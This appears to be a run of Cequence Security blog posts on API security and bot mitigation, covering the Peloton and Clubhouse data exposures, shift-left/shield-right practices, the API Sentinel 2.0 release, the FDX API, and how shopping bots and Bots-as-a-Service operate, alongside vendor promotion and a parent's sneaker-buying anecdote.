• API4:2019 Lack of Resources & Rate Limiting. Once discovered, a threat actor could scrape data for most Peloton users by enumerating various IDs in these vulnerable APIs.

Vulnerabilities and leaks like this are not new. Vulnerabilities like these have existed ever since APIs have existed, much earlier than the 2019 OWASP API Security Top 10 List which was published in 2019. For example, scraping personal information of a large customer population was seen as far back as 2014 when the Uber “hell” program scraped Lyft’s driver and customer data using APIs. Since then there have been many such high-profile leaks that have surfaced and made news. But for every high-profile case, there are many that do not get the same media attention. This is not a new problem, but it’s increasingly a widespread problem. Recent vendors that suffered similar challenges include John Deere, Experian, and ClubHouse. Why? APIs are typically connecting directly to a backend resource, like a database and oftentimes, they are not as secure as their traditional application counterparts.

As a security practitioner from the past, I can relate to the Peloton security team and what they have been going through for the past few months. Cequence Security’s threat research team has found similar API vulnerabilities in popular Zoom and WebEx video conferencing software, now ubiquitous in our in-pandemic life. We followed the industry standards in disclosing those vulnerabilities and worked with the vendors responsibly to make sure they were patched before the disclosure. These 90 days given by the security researchers can be challenging.

How to Protect APIs with Shift Left and Shield Right Approaches

So what is a security team to do when they are faced with a situation where a security researcher has found vulnerabilities in your business-critical applications. You have 90 days, and the clock is ticking. The answer – shift left while you shield right. Here is how I would approach the problem.

Engage with the researcher to validate the finding and in parallel, begin applying shift left techniques including:

• Patch all vulnerabilities. In Peloton’s case, this will involve,
  • Ensuring APIs can only be accessed by authenticated users.
  • Validate that enumeration techniques cannot be used against member and class IDs to yield personal information.
  • Ensure that profiles marked as private do not appear in search results.
  • Lockdown API response codes to make sure they return minimal information.
• Once the APIs are patched, Peloton should:
  • Implement a DAST-like tool to look for known vulnerabilities during the DevOps process and integrate it into the CI/CD pipeline to ensure that the vulnerabilities are eliminated before the APIs go live.
  • Conduct a thorough code review from a security point of view. Even consider bringing in external help for this if the team lack expertise in this area.
  • Coding APIs is different than coding a web app so it’s critical that developers and DevOps engineers have been given up-to-date security training.
• APIs are different from traditional apps. They include the transaction and often connect directly to a back end resource, like a user dashboard. So, looking forward they would need to pay close attention to the functionality of the API, what it’s supposed to do and who has access to the data. Then build test scenarios into their quality assurance plan that mimic said functionality – not just PEN testing, but functions. At runtime, a final check by security teams to ensure, in this case, that authentication is strong, data is not leaking and so on.

In many cases, these APIs are integral pieces of a business-critical application so they can’t be taken down while these shift left efforts are being implemented. In parallel, Peloton should strengthen their runtime security protections, something we call shield right, while shifting left.

Shield Right:

• Block any unauthorized access to APIs that require authentication by authorized users. This can be implemented at the edge or close to the APIs. Although it is best practice to keep these unauthenticated API calls out of your public-facing environment.
• Prevent scraping of member information using automated enumeration techniques. These attacks can come hot and heavy or low and slow, so it’s going to be critical that the solution chosen can apply consistent policies for both APIs and web-based apps.
• Look for runtime API security that will complement the security improvements that shift left efforts will bring. The most perfectly coded API is still susceptible to an (unknown) attack.

As the co-founder of Cequence, I do believe we could have helped Peloton avoid the mess they are in. I also believe we still can. Our API Spartan solution is the only offering that can apply consistent policies for APIs and web apps because it does not require ANY application instrumentation. Our latest product, API Sentinel protects public-facing and internal APIs at runtime, complementing shift left efforts and acting as a last line of defense.

See the latest version of Cequence API Sentinel in action in this short overview video:

If you grew up in the 80s like I did, you probably remember watching Michael Jordan dominate the basketball court for the Chicago Bulls. I spent many evenings with my family watching him fly high through the air, hanging from the rim and winning countless games for his team. Michael Jordan is not only one of the best basketball players we’ll see in this lifetime — he’s also quite an entrepreneur! Since his days on the court, he’s built a $1.6B empire from all of his endeavors including highly coveted Jordan sneakers – which he sold to Nike in the 80s and have been released as “retros” every year. So it’s no wonder that my 11-year old son just had to have a pair of Jordans once he hit middle school.

At that point, I was pretty clueless about these high-demand sneakers. I just knew that one of my best friend’s sons, Sean Wotherspoon, had created a successful business called Round Two, that sells the sneakers and other vintage apparel. So she was the first person I called. I was perplexed at the high price tag associated with these shoes, but with a 12th birthday around the corner, I felt I had to treat him to a pair.

And with one pair, came the next and the next. Before I knew it, my son had shoeboxes piling up in his bedroom. I vividly remember him wearing a pair of Jordan’s to his last day of seventh grade and out of jealousy, a kid ran up and scuffed his new shoes, claiming they were fakes. My son was super upset when he came home that day – kids are just mean sometimes.

Some of these shoes were just super difficult to find! We made trips to Round Two in Richmond a few times but then also visited a place in New York City called Flight Club. The line was around the corner of the place and I remember overhearing a mom tell her son, “I can’t pay rent this month because I’m buying you these crazy shoes!” That was a moment I’ll never forget. There were also shoe reselling events where my son would bring boxes of his shoes and try to sell them to other kids. Those were quite interesting!

Learning About “Sneaker Drops”

My sneaker shopping mission continued with more birthdays and Christmases. The first time I scored a brand new pair of sneakers for my son was in 2014 when Nike was about to release the Air Jordan 11 Retro Three-Quarter at 7am on December 20. My son told me that I had to get into the drawing for the shoes and to log onto Nike.com early that morning. Not really knowing what I had gotten myself into, I logged on, put in my credit card information and waited about an hour until I saw the confirmation email that I had won the shoes. Very excited for my kiddo, I put out a Tweet about getting these shoes and was stunned when someone negatively responded to my Tweet of joy. He basically retorted, “how did you get them and I didn’t?” Haters gonna hate, I guess. I was just happy that Santa Mom could deliver!

The shoe obsession was a bit on and off the rest of his high school years. I did find a pair of Jordan Infrared 11 Low Rare Limited Exclusives on Amazon, of all places. The day he said he wore a pair of Vans, I was ecstatic! I thought he had grown out of this shoe craze but I was wrong. During his senior year of high school, my son said he wanted Yeezy’s. So again, I did my homework to try to figure out where to get these shoes and learned that Dick’s Sporting Goods was about to release them before the holidays. With a limited supply, I knew my chances were slim of getting them. I waited about 90 minutes on the website, hoping to get a pair but eventually gave up. In a last ditch effort, on Christmas Eve, I ran into Foot Locker and was stunned that they had one pair of Yeezys left. I snatched them up, and was super excited to wrap them and deliver them from Santa Mom!

According to my son, Yeezy’s are the most comfortable shoe he’s ever owned so it was no surprise when he asked me for a pair of Black Pirate Yeezys last year for his birthday. Those were a rare find through another friend – and I paid twice the price for them! Luckily, with some advice and research on sneaker blogs, I’ve figured out the ultimate hack: downloading the Adidas “Confirmed” app so I can get ahead of the sneaker drops. It seems so intuitive but for this busy working mom, it was the perfect answer to all my future birthday and Christmas shopping! In the last 6 months, I’ve scored 5 pairs of Yeezys for my kid, my boyfriend, his son and my best friend. Like the Jordan 11s, you enter into the drawing and it’s really just hit or miss.

Blaming the Bots

Unfortunately, I have been rejected a few times from the shoe drawings but I think I know exactly who to blame: sneaker bots! Yep, that’s right. These bots can snatch up the sneaker inventory faster than I can say the word Yeezy. Nike, Adidas, LeBrons and all high-demand shoe retailers know that sneaker bots are a huge problem — but luckily for my client, Cequence Security, the sneaker bots are finally getting the takedowns they deserve! Cequence Security is helping many large global retailers fight bots during hype sales, like the sneaker drops. And that is good news for me – the less bots, the less competition for these shoes. After all, who wants to pay twice or three times the price for them?

My son was recently home from college for the Easter holiday and I surprised him with a pair of Yeezy Boost 350 Sand Taupe sneakers. He was stunned that the Easter Bunny delivered these amazing shoes. Now he can hop around campus with even cooler shoes. Let’s just hope he gives some credit to his cool “sneakerhead mom!”

Today we are happy to announce the general availability of version 2.0 of Cequence API Sentinel. This release brings to market several exciting new capabilities requested by our customers, enabling Cequence to continuously discover, monitor and protect their APIs.

Below is a summary of the major new features in this release.

Sensitive Data Exposure Dashboard

Amongst the threats in the OWASP API Security Top 10, #3, Sensitive Data Exposure is emerging as one of the most compelling use-cases that is driving enterprise teams to monitor the compliance risks public-facing APIs introduce. Based on API Sentinel customer feedback, a new dedicated dashboard has been added to monitor sensitive data exposure. This Sensitive Data Exposure dashboard provides at-your-fingertips access to holistic information about the APIs exposing sensitive data, the types of sensitive data being exposed, the manner in which they are being exposed, and the API clients receiving such data. The dashboard can also be filtered for consumption by different teams, to allow visibility into different groups of APIs, sensitive data expressions, time periods, and other parameters.

We also added new out-of-the-box sensitive data heuristics, as well as the ability for customers to fine-tune and customize these heuristics for their API requests and responses.

Automation of API Spec Management

To automate the ingestion of API specifications from distributed teams, new APIs are now supported that can be used to automate the management of API specifications by integrating with CI/CD pipelines. This eliminates the need for manual intervention since this can be completely integrated and automated into CI/CD pipelines.

Operationalizing Remediation Using Security Risk Metrics

A rich set of metrics are now dynamically published by API Sentinel for all the risk categories that discovered APIs are being evaluated against. The published metrics are accessible in an out-of-the-box Grafana dashboard or can be consumed by external enterprise analytics systems. Real-time risk monitoring allows customers to configure prompt remediation actions, such as generating alerts via Slack, Email, PagerDuty and other supported channels to different teams, such as DevOps or app developers. This enables customers to take steps towards mitigating API security risks promptly.

Kubernetes Support to Discover Microservices APIs

Cequence can now be deployed in Kubernetes environments which enables customers to discover and monitor APIs from within their microservices environments. Cequence Data-plane containers now support integration with ingress controllers and micro API gateways, thereby enabling customers to automate the discovery and monitoring of APIs developed and exposed in microservice deployments.

Large enterprises have APIs that fall loosely into three buckets. Those that are developed and exposed in both on-premises and public cloud environments. There are APIs for existing, legacy applications exposed publicly via API gateways, load balancers and CDNs. Finally, newer applications and APIs developed and exposed from within microservices environments, hosted in service mesh deployments and exposed via ingress controllers.

Kubernetes support enables API Sentinel integration from the enterprise edge, where it can integrate directly with CDNs, to microservices deployments, including any proxy or gateway between the edge and service mesh deployments.

Other Improvements

Aggregated API Risk Groupings

The UI has been enhanced to group APIs by High, Medium and Low risk scoring. This allows a risk analyst to rapidly focus into or rapidly navigate to the specific API endpoints that are posing the security risk, and the underlying reasons.

Additional Rule Conditions for Custom Risk Categories

Custom Risk Categories now support several additional rule conditions, including request, response and HTTP Method. These help customers create targeted risk categories to detect specific conditions that should be monitored.

Besides the above, several other minor improvements are part of the new 2.0 release. We are excited to bring these new capabilities to market, allowing our customers to rapidly discover, monitor and protect their APIs.

See the latest version of Cequence API Sentinel in action in this short overview video:

Most organizations have seen exponential growth in API usage in the last few years, driven by a rapid increase in mobile applications, containers, serverless computing, microservices architectures, and cloud adoption. However, APIs are a double-edged sword – bringing the benefits of rapid development and ease of integration to both the developer and the bad actor community. The speed that developers can now roll out new APIs can lead to coding errors, which eventually get exposed as vulnerabilities, as shown in the numerous API-related security incidents in the past year.

The adoption of APIs is often synonymous with a move towards a more iterative, DevOps-centric development methodology which can mean several things. In many cases, DevOps means decentralization of the development processes allowing teams to roll out their own APIs and apps. DevOps also entails development taking on added security responsibility, also known as shifting left. As I talk to customers about what shifting left and API security mean, they often struggle to articulate exactly what the end goal is.

The adoption of shift left has brought about improvements in tools and security protocols earlier in the application lifecycle. For example, most organizations working with the FDX API are adopting or have adopted a shift left methodology. However, developers are not security experts, with some expressing frustration with the amount of time spent on fixing code. Recent research shows that more than half (52%) of the developers surveyed said they would rather use this time to build new features and functionality, while 42% said freeing up this time would allow them to simply “do their job”. In the end, the speed with which development is moving has led to an increase in attacks on APIs resulting in security teams scrambling to protect them. A balance must be struck where adequate shield right protection mechanisms are in place to support a more secure shift left adoption.

Shield Right Step 1: Runtime Visibility

When asked, most organizations will offer only a guesstimate of “hundreds to thousands” of active APIs in their environment. Customer conversations combined with industry research support the notion that organizations have no idea what the accurate picture is. Neither the security team nor the DevOps team can protect what they do not know exists. The first step towards securing APIs is to create an inventory of all APIs in production: all the endpoints that exist, what APIs are they serving, and which team owns them.

Shield Right Step 2: Runtime Assessment

Security teams (and DevOps) can get overwhelmed if the inventory discovery uncovers many previously unknown APIs to protect. But not all APIs are created equal. Some APIs are informational, not posing any risk, while others may expose sensitive data – PII, PCI, or PHI. Some APIs may not even be properly authenticated, while others may be prone to business logic attacks like account takeovers or scraping. The way to avoid being overwhelmed is to prioritize the API inventory based on their risk exposure.

In parallel, the security team can work with the development teams to document all discovered APIs using a common, language-agnostic standard, like the OpenAPI Specification, or RAML. The same specification can then be used at runtime to detect deviations from the specification.

Shield Right Step 3: Runtime Protection

One other big realization as part of API security is that web security tools often fall short when it comes to API security. Most APIs are not vulnerable to the traditional cross-site scripting and SQL injection attacks. RESTful APIs are designed not to use session cookies and do not follow SQL syntax to access the backend database. Instead of JavaScript, they use JSON or XML. There is no room to inject JavaScript and execute it on remote endpoints and collect endpoint signals used to detect automated attacks. So, traditional WAFs or bot prevention tools are ineffective in protecting the (newly) inventoried APIs. The result is a false sense of security that the traditional web security tools will protect their APIs.

You need to implement runtime protections that can protect your APIs against the ever-changing, ever-maturing API attacks that bad actors execute. This requires based ML-technology that can determine the intent of the transactions (whether performed by bots or individuals) and then take quick action to block them or send them down another path. With this strong runtime protection is in place, only then can you start looking to the left to shore up security in your development pipeline.

Shifting Left While Shielding Right

Shift left adoption shows no signs of slowing down – the benefits are too great. A survey done by GitLab shows that roughly 25% of companies are in the DevOps “sweet spot” of three to five years of practice while another 37% are well on their way, with between one and three years of experience under their belts. Security teams continue to report that developers are not finding enough bugs at the earliest stages of development and are slow to prioritize fixing them. Over 42% said testing still happens too late in the life cycle, while 36% reported it was hard to understand, process, and fix any discovered vulnerabilities, and 31% found prioritizing vulnerability remediation an uphill battle.

In the context of this conversation, once all the APIs have been discovered and categorized, shift left means addressing security concerns earlier in the software development lifecycle – typically in the development phase, rather than after being rolled out to production. The later you find the problem, the more expensive it is to fix it. The entire process requires close collaboration between the security and development teams with a variety of tools available to assist in the process.

• Runtime Security: Runtime Security should be step 1 and as the name suggests, is about protecting APIs both known and unknown, modern or monolithic, no matter their location – data center, cloud, or Kubernetes. APIs are protected by inspecting API traffic at runtime. A good runtime API security tool needs to automatically create an inventory of all known and unknown endpoints. It helps you discover and prioritize, especially when you have a brand-new API Security program. It then provides a range of functions, including risk assessment, sensitive data exposure protection, business logic abuse protection, amongst others.
• Dynamic Application Security Testing (DAST): Once you have the runtime security covered, you can shift left by implementing a good DAST built specifically for APIs. DAST is a security testing method where you deploy a vulnerability scanner tool to actively probe a running application in a production or non-production environment. One of the key requirements for a DAST for APIs is that the tool needs to understand the APIs – which includes both syntactic and business logic it is exposing. A typical specification standard like OpenAPI Specification (formerly Swagger Specification) can help with the syntactic understanding of the API, but the business logic is much harder to understand.

• Static Application Security Testing (SAST): SAST is a method of detecting vulnerabilities by analyzing the source code. Having a common specification in place will help a SAST for APIs to detect common implementation issues in APIs like erroneously exposed APIs, parameters, error codes, and messages. These systems will integrate directly into API development environments like IDEs, bug tracking systems, and CI/CD tools.

Investing in an open standard like OpenAPI Specification as the contract will help collaborate between the development and security teams. The development team can then use this contract to build APIs. It will also act as a specification for the security tools to detect deviations between the implementation and enforce the contract at various stages from development to rollout. Having an OpenAPI Specification will allow you to shift left and catch things early.

Shifting left assumes you already have strong runtime protections to shield the right. Runtime API security measures are a must, as it is your last line of defense. DAST and SAST will bring value to API Security yet a recent Forrester report states that many organizations struggle to get more than 40% coverage with their SAST and DAST on their web applications. With such low coverage on the mature application development processes for web applications, full coverage for APIs will be a long ways off, further strengthening the argument for taking a shield right while shifting left methodology.

The seemingly weekly announcement of new API security offerings highlights the importance of protecting your APIs from security gaps that can lead to fraud and data loss. The wide range of offerings is confusing, even for those of us in the space! Where should you begin?

Most security professionals would agree that you cannot protect what you cannot see. As noted in the recently published KuppingerCole assessment of Cequence API Sentinel, complete visibility is the first step – understanding how many APIs you have, the owners and their functionality.

“But one could also argue that for all API users, security begins at the discovery stage: without a full inventory, classification, and risk assessment of all known and unknown APIs, consistent protection is simply impossible. And this inventory cannot be a one-time process — continuous real-time monitoring is needed to reflect the ever-changing IT landscapes and new types of threats that emerge constantly.”

— Alexei Balaganski, KuppingerCole

Beyond API visibility, what should your API Security offering do? Uncovering their risk posture – are they adhering to a defined spec, leaking sensitive data, or using weak auth should be easily discovered and remediated. Here too, API Sentinel can help – as noted in the report.

“By detecting the drift from the published API specification, identifying known patterns of sensitive data in network traffic, and exposing weak or nonexistent authentication in APIs, API Sentinel calculates dynamic, real-time risk scores for each detected endpoint.”

— Alexei Balaganski, KuppingerCole

A final consideration is deployment – what architecture works best? Is the API gateway the best source of API metrics? Possibly, but an API gateway will only supply what has been registered – leaving a strong possibility you will miss some APIs – shadow, deprecated, unmanaged APIs are common, particularly in large distributed organizations. Ideally, you should look for something that ties into your infrastructure in a manner that best addresses your requirements.

“As opposed to many competing solutions that typically focus either on edge deployment scenarios (inspecting API traffic only at the ingress point) or on distributed, microservice-oriented architectures (deployed alongside with business microservices and monitoring internal API traffic), API Sentinel, thanks to its flexible container-based architecture and breadth of technology integrations (e.g., API gateways, proxies, ingress controllers, load balancers, etc.) can mix and match both approaches.”

— Alexei Balaganski, KuppingerCole

API Sentinel helps security teams, API centers of excellence, and data governance officers address their most pressing API problem – visibility and monitoring of their internal and external APIs. It extends that visibility into risk and conformance analysis to discover and remediate gaps that can result in data loss or fraud. Deployable in a matter of minutes, API Sentinel integrates with your API management infrastructure and CI/CD tools to provide immediate value to both security and developers alike by finding all the APIs for visibility, discovering potential security gaps, and alerting development teams for rapid remediation.

Download the KuppingerCole report on API Sentinel.

About KuppingerCole

KuppingerCole, founded in 2004, is a global, independent analyst organization headquartered in Europe. We specialize in providing vendor-neutral advice, expertise, thought leadership, and practical relevance in Cybersecurity, Digital Identity & IAM (Identity and Access Management), Cloud Risk and Security, and Artificial Intelligence, as well as for all technologies fostering Digital Transformation. We support companies, corporate users, integrators and software manufacturers in meeting both tactical and strategic challenges and make better decisions for the success of their business. Maintaining a balance between immediate implementation and long-term viability is at the heart of our philosophy.

As a member of the FDX (Financial Data Exchange) working group, I recently participated in a panel discussion at the FDX Spring Summit. The topic was how you should shield right as you shift left to protect data transmitted across the FDX API. To add more context to the discussion, FDX is inherently designed with security in mind. Most organizations working with the FDX API are adopting or have adopted a shift left methodology where security is integrated into the development process. We would all agree that DevOps security enables the delivery of more secure APIs, but it should be considered complementary to, not a replacement for runtime API protection.

Ok. That’s a bit of a mouthful. Let’s first start with some definitions. As defined above, shift left means early detection and remediation of errors that might lead to a security incident. Shield right may not be clear to all – it’s the last line of defense and is intended to protect against unknown attacks. Even a perfectly coded app or API is susceptible to an automated attack or business logic abuse.

Many will look at FDX as an evolution of OFX, and in many ways, it is. OFX was initially designed to tie consumer-oriented financial apps (e.g., Microsoft Money, Intuit QuickBooks) to the user’s financial institutions. FDX is geared towards connecting financial aggregators, primarily SaaS services (e.g., Mint, Yodlee), with the user’s respective institutions and allowing them to share a significantly greater amount of information. And while FDX is designed with security in mind, the member apps being developed will need to consider the end user, a group that has shown to be less security conscious than we would like. During the panelist discussion, we focused on three recommendations for the FDX member community.

Can You Identify All Your APIs to Understand Your API Footprint?

Based on customer feedback, and industry research, most organizations cannot identify all of their APIs. Many reasons really – distributed development, legacy APIs, mergers and acquisitions, the list goes on. The challenge here is that you cannot protect what you cannot see. While FDX has a detailed specification that your team is using, you may not know where the endpoints are, which ones are accessing assets of value or which group owns the API in the event updates need to be made. Finally, where and how they are exposed to the public are key to understanding the exposure and, in turn, how best to protect the API.

✓ Recommendation: As part of your (new or existing) API governance process, keep an up-to-date inventory of your APIs, internal and external.

Does Shift Left Improve Security, and Can it Help You Assess Your Exposure?

We would all agree that an added focus on security during the API life cycle is a good thing, so yes, shift left does improve security. But a perfectly secure API is still susceptible to an automated attack or business logic abuse, so shield right is still needed. It’s also important to note that traditional app coding is a bit different than API coding. APIs are stateless in nature and include the entire transaction, making it (more) critical for developers to understand, beyond the spec, exactly what the user interaction and outcome is. Secure API coding practices dictate that developers use minimal API responses; only expose the parameter values/headers needed; ensure strong authentication/access control is enabled; and, use strong encryption.

✓ Recommendation: Proactive actions in development, testing and production phases that confirm secure coding best practices can eliminate future incidents.

Is Your FDX API Jeopardizing Compliance?

FDX API is designed to share financial information with consumers and financial aggregators. If this API is not protected well, it does introduce compliance issues. FDX API specification does a great job of documenting all the endpoints and the data they are supposed to expose. Making sure that every endpoint is only exposing information that is agreed upon in the FDX specification and nothing more is extremely important. Developers can make mistakes and can lead to unintended exposure of personal and financial information. On top of that, there needs to be proper authentication, authorization and observability for every API endpoint.

✓ Recommendation:  Uncovering unintended data exposure during the development and testing combined with continuous runtime API visibility can significantly reduce the risk of being out of compliance.

Shield Right & Shift Left: Together

All panelists agreed that as FDX is a brand-new API being developed from scratch, there is an opportunity to shift left and adopt security processes early in the development and testing phases. But shift left assumes that we’re already covering the right with proper observability and protection of APIs at runtime. It’s not one or the other. It’s both – the two methodologies are complementary.

In today’s online world, privacy is more than concealing what you’re up to. Privacy begins with an expectation, that is maintained in an ongoing manner. When you use an application that sets a privacy expectation with words like “secure”, the maintenance falls to the provider of the application.

Clubhouse App Security Flaws: Excessive Data Exposure Explained

Recently Stanford’s Internet Observatory took a look at ClubHouse, a viral application that launched globally but had a huge impact on Chinese-speaking audiences because users could speak a secure message to one or more other users. The question came up, is this application actually secure and are these conversations subject to scrutiny from the Chinese Authorities?

Knowing there was an expectation of privacy, Stanford’s team downloaded the app, installed it on their phone, installed a cert from BURP and did the first thing everyone does in this situation. They tried to use it like a normal user. Based on the content about the evaluation it didn’t take them very long, nor did it take much doing, to start finding flaws.

Application security teams often rank flaws by criticality or severity but more often than not, they are ranked as being on or off of one of the OWASP Top 10 lists (Web Application or API Security). Using a Top 10 ranking means severity has been built in based on position, if the app had a #1 flaw for authorization it would be the worst flaw and should be addressed right away. Ranked #3 in the OWASP API Security Top 10 is Excessive Data Exposure – which can be triggered by many things – error messages that show too much information or even displaying obfuscated information.

The analysis of the ClubHouse app showed that it doesn’t display the data that the Stanford Team found, it filters it away. So your conversations are private, right? Not necessarily. Just because you cannot see it, does not mean it’s not there. Often these pieces of sensitive data are contained in a large JSON object that shows in plain-text some of this data. Once the data is available to the attacker they will utilize it in some way to exploit the next steps.

In the case of the Clubhouse app, an API call was made resulting in the token exchange routed through the app vendor servers to establish a connection between users. The information is then sent unencrypted, containing metadata about the channel, such as whether a user has requested to join a chatroom, the user’s Clubhouse id number, and whether they have muted themselves. This is where the application developers introduced an Excessive Data Exposure Threat, #3 on the OWASP API Top 10 list.

The Stanford team showed that having the keys and the data including information that could lead to the identities of others that had conversations could be possible. If the Chinese authorities were so inclined, it would be possible to figure out who is using the app, and what they are discussing. This extends to having all conversations monitored by another government and creates a general concern that the application be better secured on the back end.

How Developers Can Prevent Excessive Data Exposure in APIs

Excessive data exposure is usually not intentional – developers did what they thought was requested by the requirements document. In some cases, the result of excessive data exposure is it gives a user a greater understanding of the application and how it functions. That same information can be used for malicious purposes by threat actors. Recommendations are that the development and business teams collaborate to make sure all parties understand what is being transferred in a request/response series to make sure that the minimum amount of metadata is transferred to lessen the possibility that it can lead to an attack.

Learn how Cequence API helps developers and security teams detect and prevent API coding errors that introduce OWASP API Top 10 threats.

With ever-increasing cyber threats, it’s important that organizations continually assess the effectiveness of their application security. One of the areas often left under protected is runtime, which is where the Cequence Application Security Platform shines (you don’t have to just take our word for it, either). We’re proud to be recognized by Omdia Research as a Next-Generation Application Security (NGAS): Runtime provider in their recent Market Radar report. You can review their assessment of the Cequence Application Security Platform here.

The attack landscape is evolving as fast or faster than the applications themselves – as highlighted by threat actors focusing more on APIs, for the same reasons developers love them – fast, easy to use, flexible. Combined with the emergence of Bots-as-a-Service and the dramatic shift to online commerce driven by the recent pandemic, organizations must continue to rethink where security resides – development, security, or is it as most believe, a combination of both?

Omdia recommends that organizations take the shifts in development and security into account as they evaluate how best to protect their web applications and APIs from a range of threats. The Omdia NGAS recommends runtime protection from cyber attacks using a combination of Bot prevention, API security, WAF, DDoS, and RASP. From the report discussion on the Cequence Application Security Platform:

“The consolidation of API, web and mobile protection into a unified platform improves transparency of API activities, aids governance and ensures that security is embedded into the application development framework. It also offers more security automation, which will reduce the amount of time spent in development and in investigating or defending against vulnerabilities hidden in APIs or automated bot attacks.”

– Rik Turner, Principal Analyst, Omdia Research

Cequence solves the traditional DDoS problem by partnering with Amazon CloudFront and, when combined with our SaaS deployment option, customers can begin protecting their APIs and web applications in as little as 60 minutes.

You can review the Omdia assessment of the Cequence Application Security Platform here.

About Omdia

Omdia is a global technology research powerhouse, established following the merger of the research division of Informa Tech and the acquired IHS Markit technology research portfolio, Ovum, Heavy Reading, and Tractica. We combine the expertise of more than 400 analysts across the entire technology spectrum covering 150 markets and publish over 3,000 research reports annually, reaching over 14,000 subscribers, and covering thousands of technology, media, and telecommunications companies. https://omdia.tech.informa.com/

Last week, I had the pleasure of participating in a webinar on automated shopping bots with Sandy Carielli, Security and Risk Analyst at Forrester Research. The webinar highlighted two things for me: automated shopping bots are a complex problem and they impact the entire business – not just security, or fraud or marketing.

Shopping Bots Pose a Complex Problem

During the webinar, Sandy called out the different types of bad bots, from ATO to fake account creation to scraping, that her clients talk about. This is where the problem complexity comes to light. Advanced automated shopping bots and Bot-as-a-Service (BaaS) combine multiple bad bots from the list to execute their end goal.

Take for example a retailer that wants to sell 1,000 high-value/high-demand widgets. In order to ensure each of these widgets goes to a human rather than a bot, this retailer created a workflow where they raffle a single widget to every 100^th checkout request. They have implemented traditional bot mitigation tactics including Google reCAPTCHA.

Prior to the sale, the threat actor will have already enlisted tools or BaaS platforms that have built-in reCAPTCHA bypass and they have reverse-engineered the embedded JavaScript or mobile SDK used to prevent the automated attack. Using BaaS forums the threat actor will know exactly when the sale will happen. During the attack, the threat actor will execute variations of the following attacks.

1. Fake Account Creation – To maximize their chances in the raffle, BaaS will create hundreds, perhaps many thousands of fake accounts using automation. This puts pressure on the security, fraud and infrastructure teams as they deal with the influx of these fake accounts.
2. Content and Inventory Scraping – BaaS want every advantage they can to get ahead of other bots and humans. One key aspect of that is to start shopping at the exact time the items go on sale. For that purpose, they start scraping the retailer to find out if that item is on sale. If the retailer has a dedicated sales event page, they keep scraping that page for updates, which is easier to manage. But if there is no dedicated sale event page, the bots scrape the entire site and look for updates to identify the start of the sale event. Once the widget goes on sale, the BaaS platforms need to keep track of the inventory so they will unleash the inventory checking bots that continually hit the APIs to determine if the inventory is available for sale. These automated actions put pressure on the infrastructure team which has to deal with a burst of bot traffic across the entire application tier.
3. Shopping Cart and Checkout Abuse – Both of these elements are forms of API business logic abuse whereby widgets are loaded into shopping carts and when required, they “sign in” using the fake accounts created previously. Instead of using a scripted form fill, the threat actor will use the respective shopping cart and checkout APIs.
4. Credential Stuffing – The result of the uptick in fake account logins for shopping cart and checkout abuse will appear to be a credential stuffing attack that will use email harvesting and CAPTCHA bypass to evade the techniques deployed to slow automated bots down. As with the fake account creation impact, the credential stuffing activity impacts the security, fraud and infrastructure teams as they deal with the influx of these fake accounts.

This example highlights the level of sophistication that malicious automated bot operators will go to in order to achieve their goals. No longer are each of these steps done manually – now using Bots-as-a-Service, the operators can easily turn their targets to any organization, not just retail.

Cross-Functional Impact of Shopping Bots

The second point Sandy made in the webinar was the impact that automated shopping bots have on the different personas, as shown in the image, within a retail business.

The key point made is that in some cases the groups are not collaborating, which happens in organizations both large and small, and as a result, the different groups may be unaware of the impact of bots outside their narrow window of visibility.

• The security team under the CISO organization could be focused on the Fake Account Creation and Credential Stuffing attacks, but it may not be aware that those large spikes in logins or account creation are related to the sales event.
• Scraping activity may be looked on as an infrastructure issue, addressed by increasing the capacity appropriately. The dots may not be connected back to the sale event, and the broader set of teams.
• The fraud team typically deals with payment fraud that results from Shopping Cart and Checkout abuse. Their anti-fraud systems will alert on the large volume of transactions coming in that are not real users. The impact is twofold – the high volume of fraudulent transactions tracked back to the fake accounts (illegitimate users).
• The team that is indirectly impacted by all this bot activity is the Marketing team, as various marketing KPIs are skewed by bots. For example – there are a lot more visitors for the sale than the marketing team anticipates and it may look like their ad campaign for the sale was highly successful. The spike in fake account creation may impact monthly active user KPIs, which in turn (negatively) impacts the checkout conversion rate.
• Public Relations and Branding Teams – The impact of an automated shopping bot on the PR team and the brand is typically the result of unhappy (real) users who made every effort to participate in the sale the instant it started, only to find out they missed out on the purchase because of a bot. Their frustration is vented on social media, resulting in brand and Net Promoter Score
• Ecommerce – When all is said and done, the true impact is on the loyal customers cannot be understated – according to Accenture, 57% of consumers spend more on brands to which they are loyal. That loyalty can generate between 12 and 18 percent incremental revenue growth per year than non-members. Research also shows that acquiring a new customer can cost 5 times more than the cost of retaining an existing one.

One could argue that if the teams were more collaborative, perhaps using the same tools, they may be able to exert mount a more effective defense against automated bots to help ensure their customers were able to succeed in making the purchase. Cequence API Spartan is helping retail customers minimize the business impact of automated shopping bots with a patented, ML-based platform that detects, tracks and ultimately blocks sophisticated bot behavior regardless of the evasive tactic employed. Don’t take our word for it – check out what our customers are saying in their Gartner Peer Insight reviews.

Recently, we had several prospective customers tell us that they have created their own bot mitigation solution and it was working for them. Without an opportunity to see their solution in operation and the results, we have to believe them. Building your own security solution has always existed with the use of Snort for IDS and IPS as the most well known. As a longtime do-it-yourselfer, I can attest to the value of doing it yourself instead of paying someone else. Many of the criteria you or I might use to make a build vs. buy decision – expertise, time, money, and what I need to give up (the opportunity cost) to complete the project – are applicable when it comes to bot prevention. Let’s take a look at a few of them.

Expertise & Core Competency

Several factors come to mind when considering if your team has the expertise to prevent bots. First, how much of a target is your organization? The general rule of thumb is that if you have assets of value behind a login, you are a target. The more in demand those assets are, the more highly targeted you are. If you are a financial services firm, social media, or a high demand retailer (e.g., game consoles, video cards, shoes), then I believe your team will be overmatched if you try to build your own bot prevention offering. Here’s why. The assets are of high value to and bots have become highly sophisticated. For example, automated retail shopping bots itself a big business as they try to cash in on a merchandise resale market slated to be $30B by 2030. As shown in the figure below, bots have evolved from basic scripts found only in the nether regions of the dark web to Bot-as-a-Service. Supported by their own marketplaces and communities, these offerings are accessible by anyone and represent the continued commercialization of bots.

So, if you have a high demand item (or other assets that bad actors could profit from), and are building your own bot prevention solution, your team, no matter how large, is up against a very large community of smart, sophisticated bot operators who are making money in the resale market. This is their job. So when we prevent their purchase, they lose money. Are you prepared to assign your team to focus solely on bots, keeping up with the latest tools and techniques?

